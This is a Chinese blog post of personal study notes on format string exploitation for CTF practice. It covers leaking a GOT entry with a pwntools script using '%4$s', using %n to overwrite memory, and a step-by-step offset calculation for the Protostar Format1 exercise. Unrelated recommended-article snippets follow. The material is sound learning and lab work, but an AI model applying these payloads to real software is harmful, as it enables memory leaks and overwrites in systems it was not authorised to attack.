pwn 学习笔记 格式化串计算偏移量_格式化字符串偏移_SsMing.的博客-程序员秘密

技术标签: pwn  训练  

学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/

利用%s泄露libc函数的got表内容

addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。

利用  [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值

(懒得打字)

利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of [email protected]
sh.interactive()

利用%n覆盖内存

输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:
    int slen;
    printf("hello world%n", &slen);
    执行后变量slen被赋值为11。

payload结构:...[overwrite addr]....%[overwrite offset]$n

我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖

这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/

源码为:

看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。

1.找到target的地址

找到target的地址为0x08049638

2.计算target与print参数的偏移量

被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html

参拜了大神的方法之后,算出来偏移量,步骤如下

先大概测一下

减少四个

发现还差两个,补一下

可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址

3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n]

就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令

艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_38783875/article/details/81706344

智能推荐

Android仿今日头条视频列表播放_u011277123的博客-程序员秘密

打酱油的小李子 2017-04-15 00:00效果图关键代码1.监听滚动事件首先要给listview添加setOnScrollListener监听,注意这个监听在recyclerView上是addOnScrollListener,也就是说下面代码同时支持recyclerView。监听里会有两个方法,我们用onScroll方法记录 当前第一个可见Item

给定入栈顺序,输出所有可能出栈情况及所有情况的总数_输出所有可能的出栈系列_淼淼1111的博客-程序员秘密

一个长度为n的无重复序列入栈的所有出栈方式例如1、2、3这三个数字,入栈并出栈共有5种方式,分别为:321、312、231、213、123。那么对于长度为n的无重复序列中所有的出栈方式有哪些呢?为了设计计算的算法,我们可以用队列(queue)来模拟输入,队列的输出则按照原先序列的顺序。使用一个栈(stack)来模拟入栈和出栈,结果保存在另外一个队列(queue)中。现在的问题来了,怎么...

关于U盘或移动硬盘之类的实现多系统共存问题(仅限uefi)_dracut-pre-udev_sorry_my_life的博客-程序员秘密

1、你的U盘或移动硬盘之类的首先要先划分几块磁盘位置,用于存储多个系统镜像内容,就跟你电脑划分磁盘那样,可以采用DiskGenius来操作2、磁盘划分好了之后,你需要采用fat活动分区来存储系统镜像文件内容,类Unix、Windows都可以,但fat有个缺点,不支持超过4gb的文件传输,类Unix系列由于文件体积小,都不存在这种问题(不排除个别定制版本会出现大于4gb文件,比如某国产UI),也就是说,你在复制Windows系列文件时,你需要把那个磁盘格式化为ntfs或者exfat或者其他支持4gb以上文件

Java作业-ArrayList集合迭代读取元素_Vivinia_Vivinia的博客-程序员秘密

目标效果:结果是从1打印到99,这里只截取了下半部分。源码:import java.util.ArrayList;import java.util.Iterator;/** * 使用ArrayList集合,对其添加100个不同的元素: 1.使用add()方法将元素添加到ArrayList集合对象中; 2.调用集合的iterator()方法获得Iterator

挺好的程序员面试网址_aju78454的博客-程序员秘密

http://s.sousb.com/转载于:https://www.cnblogs.com/leewiki/archive/2012/04/06/2434920.html

Linux下二进制包、源代码包、rpm包_猪之仆的博客-程序员秘密

很多人在初学Linux的初期都会有一个关于tar包的疑问:Linux的tar.gz是二进制文件还是源码文件。而这个问题关系到我们该如何安装改软件。判别的方式:tar包解压后,看Readme或install文件,如果里面有让你make,make install,那就是源文件,让你编译安装主要提供三种格式的mysql包:rpm格式、二进制格式、源码格式:(tar打包,gz压缩)rpm格式:libjpeg-devel-6b-33.x86_64.rpm #rpm格式很好区分,二进制包...

随便推点

一些关于Globus的基础知识_globus csdn_elaine_chan的博客-程序员秘密

1. Globus相关资源http://www.globus.org是Globus联盟的官方网站,和Globus相关的资源这里都有。2. GT版本的选择目前可用的或者说主流的版本有3个,GT2.4,GT3.2.1,GT4.0.1GT2.4:是一个成熟稳定的版本,绝大多数代码为C,包括了GRAM2, MDS2, GSI, GridFTP等部分。目前很多网格组织都使用它或它的衍生版本作为网格基础设施。

Java实现 LeetCode 526 优美的排列(DFS)_普通网友的博客-程序员秘密

526. 优美的排列假设有从 1 到 N 的 N 个整数,如果从这 N 个数字中成功构造出一个数组,使得数组的第 i 位 (1 <= i <= N) 满足如下两个条件中的一个,我们就称这个数组为一个优美的排列。条件:第 i 位的数字能被 i 整除i 能被第 i 位上的数字整除现在给定一个整数 N,请问可以构造多少个优美的排列?示例1:输入: 2输出: 2解释:第 1 ...

iOS基本控件-UINavigationItem 导航控制器的重要属性,UINavigationBar的重要属性UINavigationItem_Jsen_Wang的博客-程序员秘密

**UINavigationItem**  ** 每个视图控制器都有一个navigationItem属性  ** 每个视图控制器都可以通过navigationgItem属性来定制导航栏的显示                  **UINavigationItem详解**   @property(nonatomic,copy)   NSString      

lisp语言怎么获取简码_Lisp语言到底神奇在哪里?_weixin_39624716的博客-程序员秘密

前言在浏览各种技术文章的过程中,经常会看到Lisp这门程序语言。不过,我一直都不是很在意。我热爱编程,我的目标是“有能力完成一款游戏的所有程序开发工作”。在我追求这个目标而努力学习的过程中,Lisp从来就没有给过我重视它的理由。在游戏行业工作的这十年里,我从“几乎完全不懂程序”到“可以个人独立制作一个小游戏”,经历了非常多的技术积累和思考,我也喜欢这些思考的过程,给我带来的不仅仅是技术上的感悟。在...

黑马就业班(01.JavaSE Java语言基础\13.JDBC)——part2:JDBC连接池&JDBCTemplate_KongJetLin的博客-程序员秘密

今日内容1. 数据库连接池2. Spring JDBC : JDBC Template1、数据库连接池  概念:其实就是一个容器(集合),存放数据库连接的容器。 当系统初始化好后,容器被创建,容器中会申请一些连接对象,当用户来访问数据库时,从容器中获取连接对象,用户访问完之后,会将连接对象归还给容器。  好处1. 节约资源2. 用户访问高效获取数据库连接其实就是向操作系统底...

【HTML/CSS/计算机网络】75道高频面试题【看这一篇就够啦!】_Milk595的博客-程序员秘密

1.(常考)常见浏览器的内核分别是?2. Doctype的作用告诉浏览器按照何种规范解析页面3.(常考) HTML5行内元素有哪些?块级元素有哪些?空元素有哪些?语义化标签有哪些?(列举常见的)行内元素:abr(换行)em(斜体强调) i(斜体) strong(粗体强调)imginput label(表格标签) textarea(多行文本输入框)span(常用,定义文本内区块)sub(下标)、sup(上标)块级元素:div(常用)p(段落)h1-h6(标题,层次明确)h